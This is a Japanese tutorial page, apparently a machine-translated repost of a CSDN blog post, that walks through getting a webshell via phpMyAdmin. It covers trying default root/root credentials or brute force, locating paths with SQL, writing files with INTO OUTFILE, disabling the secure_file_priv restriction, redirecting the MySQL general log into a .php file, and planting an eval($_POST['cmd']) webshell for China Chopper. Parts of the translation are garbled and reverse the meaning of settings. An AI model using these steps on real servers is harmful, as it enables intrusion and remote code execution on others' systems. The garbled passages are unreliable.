ホームページ >データベース >PHPMyAdmin >PhpMyAdmin バックグラウンド getshell (侵入テスト)

PhpMyAdmin バックグラウンド getshell (侵入テスト)

藏色散人
藏色散人転載
2021-06-17 14:57:283483ブラウズ

以下は、phpmyadmin のチュートリアル コラムで、PhpMyAdmin のバックグラウンド getshell (ペネトレーション テスト) を紹介します。

#PhpMyAdmin の概要

PhpMyAdmin は PHP に基づいており、Web ベースで構造化されています。 Web サイトホスト上の #MySQL データベース管理ツール

を使用すると、管理者は Web インターフェイスを使用して MySQL データベースを管理できます。この Web インターフェイスは、特に大量のデータをインポートおよびエクスポートする場合に、複雑な SQL 構文を簡単に入力するためのより良い方法となります。
対象の情報を収集、検出した後、phpmyadmin ディレクトリが存在することが判明した場合 (PhpMyAdmin バックグラウンド getshell (侵入テスト)http://ip:port/phpmyadmin/
を試してください)、脆弱なパスワード (、アカウントの root パスワード root を直接試すことができます) を使用して管理背景を攻撃したり、ブルート フォース クラックしたりするなど、getshell にはさまざまな方法があります。
PhpMyAdmin バックグラウンド getshell (侵入テスト)outfile にエクスポートするトロイの木馬

Web サイト内にトロイの木馬を挿入したい場合は、Web サイトの絶対パスを知っている必要があることが前提となります。エラーを報告してパスを取得したり、phpinfo.php を渡したりするなど、さまざまな方法があります (別のブログ投稿を参照してください: https://blog.csdn.net/weixin_39190897/article/details/99078864)。

最も便利な方法は、

select @@basedir;

を使用して直接確認することです (ただし、他の方法しか見つからず、見つからない場合もあります):
PhpMyAdmin バックグラウンド getshell (侵入テスト)上記のフィードバックによると、MySQL の場所は

D:\soft\phpStudy\MySQL\

ディレクトリにあることがわかります。 Web サイトのパスを取得した後、トロイの木馬のアップロードを試みることができます。最も一般的に使用される方法は、

into outfile

を通じて Web サイトのルート ディレクトリにトロイの木馬の文を直接書き込むことです。 #出力ファイル 'D:\soft\phpStudy\www\xxx.php' に '' を選択します;

しかし、新しいバージョンの mysql では、この文は正常に実行されませんでした。

Mysql の新機能
secure_file_privPhpMyAdmin バックグラウンド getshell (侵入テスト) は、ファイルの読み取りと書き込みに影響を与えます。このパラメータは、インポートとエクスポートを制限するために使用されます。
show global variables like '%secure%'; コマンドを使用して、このパラメータを表示できます。
secure_file_privPhpMyAdmin バックグラウンド getshell (侵入テスト) が NULL の場合、Mysql が NULL であることを意味します。は制限されていません。インポートとエクスポートは許可されているため、エラーが発生します。ステートメントを正常にエクスポートするには、Mysql フォルダー内の
my.ini ファイルを変更し、secure_file_priv ="" を [mysqld]:# に追加する必要があります。 ##secure_file_priv
の値に特定の値がない場合は、mysqld のインポート/エクスポートに制限がなく、この時点でエクスポート コマンドを実行できることを意味します。 PhpMyAdmin バックグラウンド getshell (侵入テスト)
Mysql ログ ファイルの使用Mysql バージョン 5.0 以降ではログ ファイルが作成され、ログのグローバル変数を変更して getshell を実行することもできます。ただし、生成されたログに対する読み取りおよび書き込み権限も必要です。 (注: Linux での個人テストは、権限の問題により失敗しました)。まず、2 つの MySQL グローバル変数、

general_log

general_log file

を紹介します。 general log

はログの保存ステータスを指します。ON は開いていることを意味し、OFF は閉じていることを意味します。
  1. General log file はログの保存ステータスを指します。ログの保存パス。
  2. #ログ ステータスを表示するコマンド: show variables like '%general%';

## 上記の設定では、全般がオンになっている場合、 実行された SQL ステートメントは、WIN-30DFNC8L78A.log
ファイル PhpMyAdmin バックグラウンド getshell (侵入テスト) に表示されます。

その後、general_log_file の値が変更されると、それに応じて実行される SQL ステートメントが生成され、その後 getshell が生成されます。
PhpMyAdmin バックグラウンド getshell (侵入テスト)PhpMyAdmin バックグラウンド getshell (侵入テスト)
これに応じて、xxx​​.php ファイルが生成されます。
PhpMyAdmin バックグラウンド getshell (侵入テスト)
xxx.php ファイルにトロイの木馬の文を書き込みます: SELECT ' php eval ($_POST["cmd"]);?>'
PhpMyAdmin バックグラウンド getshell (侵入テスト)
次に、ログ ファイルに記録されたトロイの木馬のステートメントを確認できます。
PhpMyAdmin バックグラウンド getshell (侵入テスト)最後に、 China Chopper が接続、getshell :
PhpMyAdmin バックグラウンド getshell (侵入テスト)

以上がPhpMyAdmin バックグラウンド getshell (侵入テスト)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。